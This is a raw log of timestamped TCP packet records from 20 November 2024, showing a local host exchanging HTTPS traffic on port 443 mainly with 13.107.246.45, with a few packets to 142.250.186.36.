Nov 20, 2024 13:28:58.817902088 CET	443	49985	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.818505049 CET	49985	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.818533897 CET	443	49985	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.822766066 CET	49985	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.822772980 CET	443	49985	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.850872993 CET	443	49983	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.850963116 CET	443	49983	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.851017952 CET	49983	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.851480961 CET	49983	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.851504087 CET	443	49983	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.851521969 CET	49983	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.851528883 CET	443	49983	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.892117023 CET	443	49984	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.892191887 CET	443	49984	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.892250061 CET	49984	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.892278910 CET	443	49984	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.892304897 CET	443	49984	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.892350912 CET	49984	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.892565012 CET	49984	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.892582893 CET	443	49984	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.892599106 CET	49984	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.892605066 CET	443	49984	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.896337986 CET	49988	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.896392107 CET	443	49988	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.896425009 CET	49989	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.896456003 CET	49988	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.896507978 CET	443	49989	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.896560907 CET	49989	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.896640062 CET	49988	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.896662951 CET	443	49988	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.896795034 CET	49989	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.896831036 CET	443	49989	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.920144081 CET	443	49985	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.920320034 CET	443	49985	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.920392036 CET	49985	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.920900106 CET	49985	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.920918941 CET	443	49985	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.920933008 CET	49985	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.920938969 CET	443	49985	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.925887108 CET	49990	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.925944090 CET	443	49990	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.926006079 CET	49990	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.926383972 CET	49990	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.926405907 CET	443	49990	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.146656990 CET	443	49987	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.147243023 CET	49987	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.147290945 CET	443	49987	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.147839069 CET	49987	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.147847891 CET	443	49987	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.152096033 CET	443	49986	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.152477980 CET	49986	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.152558088 CET	443	49986	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.153057098 CET	49986	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.153090000 CET	443	49986	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.251728058 CET	443	49987	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.252031088 CET	443	49987	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.252150059 CET	443	49987	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.252181053 CET	49987	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.252221107 CET	49987	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.252276897 CET	49987	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.252301931 CET	443	49987	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.252321005 CET	49987	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.252327919 CET	443	49987	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.256669044 CET	49991	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.256772995 CET	443	49991	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.256861925 CET	49991	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.257030010 CET	49991	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.257052898 CET	443	49991	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.264616966 CET	443	49986	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.264736891 CET	443	49986	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.264799118 CET	49986	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.264874935 CET	49986	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.264874935 CET	49986	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.264918089 CET	443	49986	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.264945030 CET	443	49986	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.269404888 CET	49992	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.269448042 CET	443	49992	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.269519091 CET	49992	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.269783974 CET	49992	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.269798994 CET	443	49992	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.318067074 CET	443	49925	142.250.186.36	192.168.2.8
Nov 20, 2024 13:28:59.318137884 CET	443	49925	142.250.186.36	192.168.2.8
Nov 20, 2024 13:28:59.318190098 CET	49925	443	192.168.2.8	142.250.186.36
Nov 20, 2024 13:28:59.542373896 CET	443	49988	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.560852051 CET	49988	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.560882092 CET	443	49988	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.560934067 CET	443	49989	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.562639952 CET	49988	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.562654972 CET	443	49988	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.575021029 CET	49989	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.575102091 CET	443	49989	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.575644970 CET	49989	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.575669050 CET	443	49989	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.584836006 CET	443	49990	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.585529089 CET	49990	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.585563898 CET	443	49990	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.586332083 CET	49990	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.586344957 CET	443	49990	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.657829046 CET	443	49988	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.657989025 CET	443	49988	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.658041000 CET	49988	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.658374071 CET	49988	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.658401012 CET	443	49988	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.658417940 CET	49988	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.658426046 CET	443	49988	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.661544085 CET	49993	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.661602020 CET	443	49993	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.661674023 CET	49993	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.661820889 CET	49993	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.661844015 CET	443	49993	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.685458899 CET	443	49989	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.685801983 CET	443	49989	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.685874939 CET	49989	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.685950994 CET	49989	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.685950994 CET	49989	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.685992002 CET	443	49989	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.686017036 CET	443	49989	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.688906908 CET	49994	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.689002037 CET	443	49994	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.689109087 CET	49994	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.689280033 CET	49994	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.689317942 CET	443	49994	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.695796013 CET	443	49990	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.696139097 CET	443	49990	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.696197033 CET	49990	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.696253061 CET	49990	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.696276903 CET	443	49990	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.696291924 CET	49990	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.696299076 CET	443	49990	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.698498964 CET	49995	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.698546886 CET	443	49995	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.698612928 CET	49995	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.698734045 CET	49995	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.698750973 CET	443	49995	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.894896030 CET	443	49991	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.895725012 CET	49991	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.895742893 CET	443	49991	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.896261930 CET	49991	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.896271944 CET	443	49991	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.980987072 CET	443	49992	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.981693029 CET	49992	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.981743097 CET	443	49992	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.982198000 CET	49992	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.982211113 CET	443	49992	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.995852947 CET	443	49991	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.995929956 CET	443	49991	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.996179104 CET	49991	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.996222019 CET	49991	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.996222019 CET	49991	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.996242046 CET	443	49991	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.996252060 CET	443	49991	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.999437094 CET	49996	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.999469042 CET	443	49996	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:59.999562979 CET	49996	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.999728918 CET	49996	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:59.999741077 CET	443	49996	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.087203979 CET	443	49992	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.087253094 CET	443	49992	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.087300062 CET	443	49992	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.087395906 CET	49992	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.087712049 CET	49992	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.087712049 CET	49992	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.090749979 CET	49997	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.090758085 CET	49992	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.090786934 CET	443	49997	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.090799093 CET	443	49992	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.090890884 CET	49997	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.091109991 CET	49997	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.091120958 CET	443	49997	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.256609917 CET	443	49995	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.258965015 CET	49995	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.258981943 CET	443	49995	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.259567976 CET	49995	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.259576082 CET	443	49995	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.315548897 CET	443	49993	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.321860075 CET	49993	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.321877003 CET	443	49993	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.322359085 CET	49993	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.322365999 CET	443	49993	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.333646059 CET	443	49994	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.337857962 CET	49994	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.337896109 CET	443	49994	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.338397026 CET	49994	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.338413954 CET	443	49994	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.360655069 CET	443	49995	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.360821962 CET	443	49995	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.360954046 CET	49995	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.361228943 CET	49995	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.361251116 CET	443	49995	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.361265898 CET	49995	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.361275911 CET	443	49995	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.364522934 CET	49998	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.364559889 CET	443	49998	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.364649057 CET	49998	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.364810944 CET	49998	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.364820004 CET	443	49998	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.424590111 CET	443	49993	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.424714088 CET	443	49993	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.424846888 CET	49993	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.425126076 CET	49993	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.425153017 CET	443	49993	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.425164938 CET	49993	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.425172091 CET	443	49993	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.428263903 CET	49999	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.428297997 CET	443	49999	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.428381920 CET	49999	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.428653955 CET	49999	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.428666115 CET	443	49999	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.436753035 CET	443	49994	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.436923027 CET	443	49994	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.437031984 CET	443	49994	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.437036037 CET	49994	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.437103987 CET	49994	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.437247038 CET	49994	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.437247038 CET	49994	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.437309027 CET	443	49994	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.437338114 CET	443	49994	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.440319061 CET	50000	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.440365076 CET	443	50000	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.440448046 CET	50000	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.440620899 CET	50000	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.440637112 CET	443	50000	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.651849031 CET	443	49996	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.652689934 CET	49996	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.652724981 CET	443	49996	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.653244972 CET	49996	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.653258085 CET	443	49996	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.759186983 CET	443	49996	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.759310961 CET	443	49996	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.759433031 CET	443	49996	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.759520054 CET	49996	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.759644032 CET	49996	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.759666920 CET	443	49996	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.759680986 CET	49996	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.759686947 CET	443	49996	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.762943983 CET	443	49997	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.763221979 CET	50001	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.763333082 CET	443	50001	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.763680935 CET	49997	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.763698101 CET	443	49997	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.763768911 CET	50001	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.763926029 CET	50001	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.763957024 CET	443	50001	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.764147997 CET	49997	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.764153957 CET	443	49997	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.869393110 CET	443	49997	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.869543076 CET	443	49997	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.869596004 CET	49997	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.869832993 CET	49997	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.869851112 CET	443	49997	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.869880915 CET	49997	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.869889975 CET	443	49997	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.873397112 CET	50002	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.873436928 CET	443	50002	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:00.873524904 CET	50002	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.873701096 CET	50002	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:00.873712063 CET	443	50002	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.052723885 CET	443	49998	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.053447008 CET	49998	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.053483963 CET	443	49998	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.054115057 CET	49998	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.054120064 CET	443	49998	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.065620899 CET	443	49999	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.066114902 CET	49999	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.066143990 CET	443	49999	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.066699028 CET	49999	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.066705942 CET	443	49999	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.078457117 CET	443	50000	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.078841925 CET	50000	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.078865051 CET	443	50000	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.079379082 CET	50000	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.079385042 CET	443	50000	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.105281115 CET	49925	443	192.168.2.8	142.250.186.36
Nov 20, 2024 13:29:01.105355978 CET	443	49925	142.250.186.36	192.168.2.8
Nov 20, 2024 13:29:01.155044079 CET	443	49998	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.155400991 CET	443	49998	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.155467987 CET	443	49998	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.155479908 CET	49998	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.155539036 CET	49998	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.155802011 CET	49998	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.155817032 CET	443	49998	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.155831099 CET	49998	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.155836105 CET	443	49998	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.159425974 CET	50003	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.159475088 CET	443	50003	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.159549952 CET	50003	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.159862995 CET	50003	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.159877062 CET	443	50003	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.167577982 CET	443	49999	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.167773962 CET	443	49999	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.167825937 CET	49999	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.167860985 CET	49999	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.167880058 CET	443	49999	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.167891026 CET	49999	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.167896032 CET	443	49999	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.170600891 CET	50004	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.170627117 CET	443	50004	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.170691013 CET	50004	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.170969009 CET	50004	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.170979977 CET	443	50004	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.180665970 CET	443	50000	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.180695057 CET	443	50000	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.180758953 CET	443	50000	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.180758953 CET	50000	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.180802107 CET	50000	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.181140900 CET	50000	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.181157112 CET	443	50000	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.181168079 CET	50000	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.181174040 CET	443	50000	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.186259985 CET	50005	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.186301947 CET	443	50005	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.186378002 CET	50005	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.186548948 CET	50005	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.186559916 CET	443	50005	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.401932955 CET	443	50001	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.407883883 CET	50001	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.407933950 CET	443	50001	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.416037083 CET	50001	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.416059017 CET	443	50001	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.511943102 CET	443	50001	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.512013912 CET	443	50001	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.512089014 CET	50001	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.512131929 CET	443	50001	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.512187958 CET	443	50001	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.512245893 CET	50001	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.513938904 CET	50001	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.513977051 CET	443	50001	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.514013052 CET	50001	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.514027119 CET	443	50001	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.524581909 CET	443	50002	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.526879072 CET	50002	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.526895046 CET	443	50002	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.527333975 CET	50002	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.527338028 CET	443	50002	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.528656960 CET	50006	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.528695107 CET	443	50006	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.528774977 CET	50006	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.528887033 CET	50006	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:01.528898001 CET	443	50006	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:01.627742052 CET	443	50002	13.107.246.45	192.168.2.8
